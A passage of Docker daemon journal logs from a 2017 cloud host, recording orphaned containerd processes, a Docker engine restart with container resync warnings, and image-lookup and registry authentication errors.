it\ \r apr 27 13:33:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:48.835819801z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:021bf8d3e73c8f0c0fa2abc712913c61efa01bd6e20ad703ae20b1b920637914 starttime: open /proc/21264/stat: no such file or directory\ \r apr 27 13:33:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:48.836350476z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:021bf8d3e73c8f0c0fa2abc712913c61efa01bd6e20ad703ae20b1b920637914  pid 21264  has become an orphan, killing it\ \r apr 27 13:34:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:04.925899686z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:47efcbebc4c3c10298a207b6b30f9003b65d84f839d9f11548510f3ed48e932d starttime: open /proc/22126/stat: no such file or directory\ \r apr 27 13:34:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:04.926181189z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:47efcbebc4c3c10298a207b6b30f9003b65d84f839d9f11548510f3ed48e932d  pid 22126  has become an orphan, killing it\ \r apr 27 13:34:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:04.961938546z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:1aa7ba2060e1bd30eb915864020bcb7173fc9d91631d011e5a96c09df86c636a starttime: open /proc/22146/stat: no such file or directory\ \r apr 27 13:34:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:04.962196517z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:1aa7ba2060e1bd30eb915864020bcb7173fc9d91631d011e5a96c09df86c636a  pid 22146  has become an orphan, killing it\ \r apr 27 13:34:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:08.806576227z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:75f52a0def87885b1c2be6c83335346ef4b3b21a96c8615a7a71ea62e6242460 starttime: open /proc/22271/stat: no such file or directory\ \r apr 27 13:34:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:08.807250551z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:75f52a0def87885b1c2be6c83335346ef4b3b21a96c8615a7a71ea62e6242460  pid 22271  has become an orphan, killing it\ \r apr 27 13:34:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:08.86417221z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:91ad5ecdc653d75bc3f7eba1ca32d352995f9e0c3ee4d6c791eb2d1ec0533c32 starttime: open /proc/22310/stat: no such file or directory\ \r apr 27 13:34:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:08.864398247z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:91ad5ecdc653d75bc3f7eba1ca32d352995f9e0c3ee4d6c791eb2d1ec0533c32  pid 22310  has become an orphan, killing it\ \r apr 27 13:34:14 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:14.965480015z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:69c3fa381310fe340002518db540614f776e76de814199106ea5f495af51fc76 starttime: open /proc/22469/stat: no such file or directory\ \r apr 27 13:34:14 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:14.965707417z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:69c3fa381310fe340002518db540614f776e76de814199106ea5f495af51fc76  pid 22469  has become an orphan, killing it\ \r apr 27 13:34:15 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:15.073921939z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:32c4053dded68b7a8b66c291f4db426841dfd82704a038769905bc64e73bb949 starttime: open /proc/22489/stat: no such file or directory\ \r apr 27 13:34:15 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:15.074156527z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:32c4053dded68b7a8b66c291f4db426841dfd82704a038769905bc64e73bb949  pid 22489  has become an orphan, killing it\ \r apr 27 13:34:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:18.80627128z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:8bee5aa62098c527030b78fda3fa5060d458499d58451d4d2b0760f41f9fc678 starttime: open /proc/22606/stat: no such file or directory\ \r apr 27 13:34:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:18.806691061z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:8bee5aa62098c527030b78fda3fa5060d458499d58451d4d2b0760f41f9fc678  pid 22606  has become an orphan, killing it\ \r apr 27 13:34:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:18.839776219z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:d1bee21850e8710b46a5291103eb631e678096e9a9bb296556ad3cde5c588947 starttime: open /proc/22626/stat: no such file or directory\ \r apr 27 13:34:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:18.840174678z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:d1bee21850e8710b46a5291103eb631e678096e9a9bb296556ad3cde5c588947  pid 22626  has become an orphan, killing it\ \r apr 27 13:34:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:24.980480559z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:7ec1c30aaccad67517191618eaa8ff7f158e7d806e59dc7be822dc29613e5309 starttime: open /proc/22837/stat: no such file or directory\ \r apr 27 13:34:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:24.980903015z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:7ec1c30aaccad67517191618eaa8ff7f158e7d806e59dc7be822dc29613e5309  pid 22837  has become an orphan, killing it\ \r apr 27 13:34:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:28.789948604z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:51771b417a19790e3cf57d841272173d621f629862d011270011ca0db16c5662 starttime: open /proc/22923/stat: no such file or directory\ \r apr 27 13:34:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:28.790503462z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:51771b417a19790e3cf57d841272173d621f629862d011270011ca0db16c5662  pid 22923  has become an orphan, killing it\ \r apr 27 13:34:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:28.859370046z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:be39b5ab64f4f1669bca6fe231ac25308c41c0f19fbdc16d46e673de4e5a1c2a starttime: open /proc/22961/stat: no such file or directory\ \r apr 27 13:34:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:28.859677049z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:be39b5ab64f4f1669bca6fe231ac25308c41c0f19fbdc16d46e673de4e5a1c2a  pid 22961  has become an orphan, killing it\ \r apr 27 13:34:30 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:30.502619230z\  level=error msg=\ handler for get /v1.24/images/saltside/payment-service:475f0a5/json returned error: no such image: saltside/payment-service:475f0a5\ \r apr 27 13:34:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:38.874898277z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:7e48cf8b16fb2c36efbb0e555c128110e2fd554a5b785b4b02317e821b1bb749 starttime: open /proc/23219/stat: no such file or directory\ \r apr 27 13:34:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:38.884669393z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:7e48cf8b16fb2c36efbb0e555c128110e2fd554a5b785b4b02317e821b1bb749  pid 23219  has become an orphan, killing it\ \r apr 27 13:34:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:39.019590517z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:3397b747b1cf2c0b72f38c64afac96154ff6807019137f04f6355fb3cfb7f133 starttime: open /proc/23263/stat: no such file or directory\ \r apr 27 13:34:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:39.01987441z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:3397b747b1cf2c0b72f38c64afac96154ff6807019137f04f6355fb3cfb7f133  pid 23263  has become an orphan, killing it\ \r apr 27 13:34:45 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:45.033738949z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:26507f8804364f700bf92d745c52bf1fc7cfcb8b4b045542e87105222442a36e starttime: open /proc/23358/stat: no such file or directory\ \r apr 27 13:34:45 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:45.033975821z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:26507f8804364f700bf92d745c52bf1fc7cfcb8b4b045542e87105222442a36e  pid 23358  has become an orphan, killing it\ \r apr 27 13:34:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:48.87439285z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:150bf50874178f7f81daf1f2dbb7bc07ebda7f1019c0cc160ed171df83159572 starttime: open /proc/23407/stat: no such file or directory\ \r apr 27 13:34:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:48.878969809z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:150bf50874178f7f81daf1f2dbb7bc07ebda7f1019c0cc160ed171df83159572  pid 23407  has become an orphan, killing it\ \r apr 27 13:34:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:48.977965809z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:9bf4dc5c32813d6b65d81ec51261e1739f5ae665b4f5537277a4d48d6005f35a starttime: open /proc/23445/stat: no such file or directory\ \r apr 27 13:34:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:48.978742419z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:9bf4dc5c32813d6b65d81ec51261e1739f5ae665b4f5537277a4d48d6005f35a  pid 23445  has become an orphan, killing it\ \r apr 27 13:34:53 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:53.400389987z\  level=error msg=\ handler for get /v1.24/images/saltside/admin-service:fcb9ea0/json returned error: no such image: saltside/admin-service:fcb9ea0\ \r apr 27 13:34:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:58.936971632z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:248b24879178ba1f83f7acf450f8875fb0f3a5c3877efe2ce6fefa23a5e89220 starttime: open /proc/23715/stat: no such file or directory\ \r apr 27 13:34:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:34:58.937614321z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:248b24879178ba1f83f7acf450f8875fb0f3a5c3877efe2ce6fefa23a5e89220  pid 23715  has become an orphan, killing it\ \r apr 27 13:35:09 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:35:09.294630512z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:a5a7689991a925357753aeaef3964b14065d4993b904351c4a8e2c7638bd427d starttime: open /proc/23962/stat: no such file or directory\ \r apr 27 13:35:09 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:35:09.294942382z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:a5a7689991a925357753aeaef3964b14065d4993b904351c4a8e2c7638bd427d  pid 23962  has become an orphan, killing it\ \r apr 27 13:36:51 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:36:47.989826204z\  level=warning msg=\ health checkerror: rpc error: code = 4 desc = context deadline exceeded\ \r apr 27 13:37:45 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:37:37.22017z\  level=error msg=\ containerd: start container\  error=\ containerd: container did not start before the specified timeout\  id=6b39744c13b80b7f0a118026f43b784e2a192fcd2bd8bf219ac17a95b445b91e\r apr 27 17:05:58 ip-172-20-52-174 systemd 1 : stopping docker application container engine...\r apr 27 17:06:13 ip-172-20-52-174 systemd 1 : starting docker application container engine...\r apr 27 17:06:13 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:13.747968924z\  level=error msg=\ containerd: notify oom events\  error=\ open /proc/7050/cgroup: no such file or directory\ \r apr 27 17:06:13 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:13.783922619z\  level=error msg=\ containerd: notify oom events\  error=\ open /proc/15929/cgroup: no such file or directory\ \r apr 27 17:06:14 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:14.700487788z\  level=warning msg=\ libcontainerd: unknown container 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956\ \r apr 27 17:06:14 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:14.700532585z\  level=warning msg=\ libcontainerd: unknown container 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956\ \r apr 27 17:06:14 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:14.700557757z\  level=warning msg=\ libcontainerd: unknown container ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.399812635z\  level=warning msg=\ your kerneldoes not support swap memory limit.\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.399858153z\  level=warning msg=\ your kerneldoes not support kernel memory limit.\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.596702647z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  f0bdb9a2ecf0067745e4a3321a421e69a5751afee66e8c50c6a576af44480c3e .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.615981154z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  eeafcb4513e9ba370986580fb60ebd0474640b52bfc05e3577baf4edf4c81d67 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.630121601z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  c8625304fc85276d29845df317235927097c76a380e04e3169792ec67d218a1f .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.645760207z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  05b41f393a399665355eeab159750e5cbd0cd5e91888667e8f74417cb918527d .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.659193237z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  11214874518e267c7b86a96c4361734c25c6e343bd2cd84c0103aa3058f2382e .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.689681927z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  1e16815ae71b0808ca4476df2931bc7022b598f160af8055621ce17235ab8f61 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.722707973z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  38b5d96c672008576bf87dcaee48527de95cc6df9ad95c52b6119d31b4adbf56 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.733616045z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  b85ccf7deb3f0601b37805854f70cc6642c180f990cb7d732541ece2806d9b47 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.750532926z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  d0d0b419a383193c924f86147770862132f9029f40dc3c5d4d8ab53ed85d5174 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.757630316z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  e4200c4cb9084855464645796d4e3905ddc24d92400740264587696d7f83ef14 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.767773718z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  e5efa429fd17ca0693f9aef130f2304f02be7ec690d5533c4378f5976cd2af29 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.787338362z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  01f21898eeda3c236ebd6e30f6e34b18e624165798094005e713347e5946e22a .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.839109407z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  202085e446e5913f342facf62da6261c349acbecd7c08504a34a2572b13c661d .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.852487842z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  223c855be9922e1a1ef861aeb8a26f4fc9e1d297046b7713ed9c5d017d361f5b .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.861166545z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  176944071d676d30098243f9c40a3302cd7a22d784e7637d7e57bbae74e68f5f .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.884685074z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  643eff48b8b82370bb07b00e5d30110d506bb36d2c3de8584a99c841308ec95f .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.892750021z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  d0e2e0ba034174618b52ad58069d983796d7187f3d80347f08816f0faba04525 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.903572992z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  2ca4c1bd459cce7b3a85a5348770211d164e2c18a3e9af4467e6c95b33333f54 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.924706600z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  311d13e0cf4a27121571dc4cd56ad635efbd5ba0a02ccc63da6556e8bdaac07b .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.935641926z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  544e02433d84fa3c1c43720ca1c0cc0163a4b38f35e16d180501a4819c79735b .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.942509813z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  9c3fe03f55933d34b847cc804e8fa823773abdb684ea4b65dbb2a075b7af967b .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.950453018z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  bfd9644c3b119e20883a3d9ec7e4360e904fd45582765874dac9854d37852672 .\ \r apr 27 17:06:15 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:15.965144905z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  9080623532f8a57e9785732ebd3d360cd9b100c3078fbe748f064481e6a22f66 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.038874550z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  94df92b2123f881de69a1345207cb83169c10a94141c9561aa829dca875ae40e .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.051254775z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  cc7fd69bdba09510cb32e6c6e909044453b308b8228fa67490930b8f82f48225 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.059037567z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  18cce7be4124f04fed2b5cce1960ff0b15e55aa05092d156831aae9dcea9fc4a .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.069280752z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  e7f6f8a39ca16d170f478e3a0f5ee82f87125e04423d3126b984a98a4891fd1f .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.076238946z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  9261ffcc0dea1368d70f052787c5ed4b0e9a18204f86e8693774bb77b5a7c876 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.084514284z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  1d06f32082ed4d43dbf16593a56ab97789c4294b6170a24ae8d99534cc20f230 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.106032093z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  33926a6f95bc0c55f73d354057f5b320d859be99745a8a5cb5922d675da5fe41 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.129319823z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  971aab8c60a8cd63775537439b3302018cd40c56c99d0817158da43670ecaf7a .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.137715128z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  c3dc3557385fb52ebd3bb4693f011c38aa0fbe0ad8f56c0423ffc588818d1c74 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.146180961z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  e64730f385c3ee452aaf8e967cdde66abcfe55819e618b777f5cd2209ba82529 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.154245986z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  37dc90b82ac38f37a16cb5179dfc81761a0b31bb4afd2f3078a81f36fe4dd503 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.163367279z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  b8ccc6ee479df15cff10bbfbbfb38b40236ad7c5a55dc403aaa6231cf8b25565 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.186468271z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  26da64ca972beb3cb13b8559cf7ab42c41098e9e7afd5f3faca6a2766ff3a240 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.194101103z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  488510c1e36dac37734357e944532a07ff5ff9a27755de0f733f9f82ae7e9a13 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.203707207z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  16a7a3b7b78e7031d85021d01d95167ed1dfb9b98b69a80b16be7cd48a667251 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.221432318z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  a6b9ec2d438f776c179d9007e4553947d308e6fca3b040313c32558f966d471e .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.238540420z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  057ab578bb5a9545d6a30ff28c748d1f9145791da964423084c57964ae3fae3b .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.250404139z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  1605977d9ea5c85c8c40d96ba34f14657dacda49ba3c8237f87553aef8252f6d .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.266450021z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  1965d6d93d3c8862f1b03fa280ac5f18e90e58b141db3737c25ee9b272387d4b .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.294362875z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  9f0358e297da7b48b0c337e6dca7f82dea645d368e7d671830ad025b91bf7345 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.305363402z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  5efc8081b9a978250caaf0b5deacb22d99dfccac9d686a6db2ae9d86b366875a .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.316488732z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  7438c258c3bbee372cf28fdd0421c84386625825ea2e425d6048817653a79e7e .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.326099206z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  7588d07d514cdd3719ef1d09389b726680fc77d3daec0a4070dab92987c9fd3b .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.333817712z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  c59bcb36df8a700ac52c70300ad3213cf8958076443f8d61ef8a074d67d9bd0f .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.342886255z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  0c08f242a7101f22d79fc02e81fb7d3d90d4869abbfda85b5ac7699e4322c859 .\ \r apr 27 17:06:16 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:16.360105256z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container  5308c71eea9dba158e333cfd2973aa1fd14e8ca01835c80b42190bf04358b71d .\ \r apr 27 17:06:26 ip-172-20-52-174 systemd 1 : started docker application container engine.\r apr 27 17:06:29 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:29.316230713z\  level=error msg=\ handler for get /v1.24/images/saltside/kviberg-smoke-test:245719c/json returned error: no such image: saltside/kviberg-smoke-test:245719c\ \r apr 27 17:06:32 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:32.558011259z\  level=error msg=\ attempting next endpoint for pull after error: unauthorized: authentication required\ \r apr 27 17:06:34 ip-172-20-52-174 dockerd 12344 : time=\ 